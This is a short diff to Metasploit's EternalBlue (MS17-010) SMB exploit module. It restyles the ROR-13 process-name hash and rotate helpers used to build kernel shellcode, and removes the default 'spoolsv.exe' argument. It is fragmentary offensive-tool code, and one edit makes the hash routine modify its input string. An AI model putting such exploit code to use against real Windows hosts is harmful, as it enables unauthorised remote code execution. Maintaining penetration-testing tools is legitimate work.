better style according to the review

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -589,20 +589,20 @@ class MetasploitModule < Msf::Exploit::Remote
   def hash(process)
     # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
     proc_hash = 0
-    process += "\x00"
-    process.each_byte { |c|
+    process << "\x00"
+    process.each_byte do |c|
       proc_hash  = ror(proc_hash, 13)
       proc_hash += c
-    }
-    return [proc_hash].pack('l<')
+    end
+    [proc_hash].pack('l<')
   end
 
   def ror(dword, bits)
-    return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
+    ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
   end
 
 
-  def make_kernel_shellcode(proc_name="spoolsv.exe")
+  def make_kernel_shellcode(proc_name)
     # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
     # Length: 1019 bytes